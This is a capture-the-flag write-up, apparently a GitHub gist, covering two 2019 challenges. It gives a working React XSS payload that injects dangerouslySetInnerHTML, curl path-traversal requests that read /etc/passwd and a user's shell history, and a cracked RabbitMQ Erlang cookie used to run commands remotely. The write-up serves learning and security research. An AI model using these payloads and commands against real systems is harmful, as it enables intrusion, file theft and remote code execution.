Skip to content

Instantly share code, notes, and snippets.

@paul-axe
Created June 22, 2019 17:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save paul-axe/2fe5c869ecab48025bc39f866971cec7 to your computer and use it in GitHub Desktop.
Save paul-axe/2fe5c869ecab48025bc39f866971cec7 to your computer and use it in GitHub Desktop.
offzone2019_hackquest_writeup.md

card maker

Simple web challenge. Application was built with React framework, and contained reporting functionality:

fetch("/api/report", {
    method: "POST",
    body: JSON.stringify({ hash: x }),
    headers: {
        "Content-Type": "application/json"
    }
})

It means that it's a XSS challenge. The only way to make XSS in React application i know, is to inject arbitrary props to components and thus set dangerouslySetInnerHTML to our value. So lets look at code and find where we can inject arbitrary prop values:

m.a.createElement("h1",null,Sp(e)),

We control e value, third argument of createElement means that we control children element of h1, lets look at Sp function.

function Sp(p){
	return p?(
		("object"!==wp(p)||!("children"in p))&&(p={children:p}),m.a.createElement("span",p)
		):null
}

So if e will be an object with childen property set, it'll be passed to createElement as properties of span component. Thats what we need. The only problem is that React doesnt allow children and dangerouslySetInnerHTML properties set at the same time. Luckily, Sp function checks only if object has key children and doesnt check its value. So the final object executing arbitrary JS code is:

{"nickname":"a","name": {"children": null,"dangerouslySetInnerHTML":{"__html": "<svg/onload=alert(1)>"}},"email":"c@c.c"}

And the flag was in bot's browser localStorage:

167.114.236.166 - - [12/Jun/2019:19:13:59 +0000] "GET /?{%22flag%22:%228776d94289caed05c39973258e616702%22} HTTP/1.1" 200 288 "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/73.0.3683.103 Safari/537.36"

d90pwn

The first think that we have to mention is the difference between 404 page for .txt and .php requests. It means that .txt requests are processed by application. Lets try to use double url-encoded payload there then:

$ curl 'http://167.114.255.206:8081/..%252f..%252f..%252fetc/passwd%23.txt'

<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
rabbitmq:x:102:104:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/usr/sbin/nologin
d90pwn:x:1000:1000::/home/d90pwn:/bin/sh
</pre>

Cool! Now we see d90pwn user with /bin/sh shell. Lets try to read his shell history (which should be at .history file actually, but ¯\(ツ)/¯ ):

$ curl 'http://167.114.255.206:8081/..%252f..%252f..%252fhome/d90pwn/.bash_history%23.txt'

<pre>-ne youtube-dl https://www.youtube.com/watch?v=-FrpuPLYnvY
rm ~/Desktop/Screenshot*.jpg
</pre>

User tried to remove his screenshots, but by default, they are stored in PNG format. Now here comes the most hard part of challenge - we need to guest the file format and bruteforce the filenames. I tried to use default Screenshot from YYYY-MM-DD HH-MM-SS.png format, but it seems that there is too much to bruteforce. Luckily, there was a hint, that user makes screenshots with windows only (sic!) lightshop app, which use more simple format like Screenshot_%d.png. There were several screenshots, but most interesting was Screenshot_7.png. It contains log of rabbitmq containing it's cookie hash. If we could bruteforce this hash, we could authenticate on rabbitmq and thus obtain code exection. By the way, there is a cool github repo full of useful rabbitmq tools: https://github.com/gteissier/erl-matter

$ ./crack-hash w1k7PZrV+u6Wyi9v+CMOBg==
BQZTVTPCQWIPDDSGROAD
  seed used to generate it = 467090129

And now we can execute arbitrary commands and thus read the flag:

$ ./shell-erldp.py 167.114.255.206 25672 BQZTVTPCQWIPDDSGROAD 'cat /flag'    
[*] authenticated onto victim
49855b406c5ac5669556214546445ac8
[*] disconnecting from victim
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment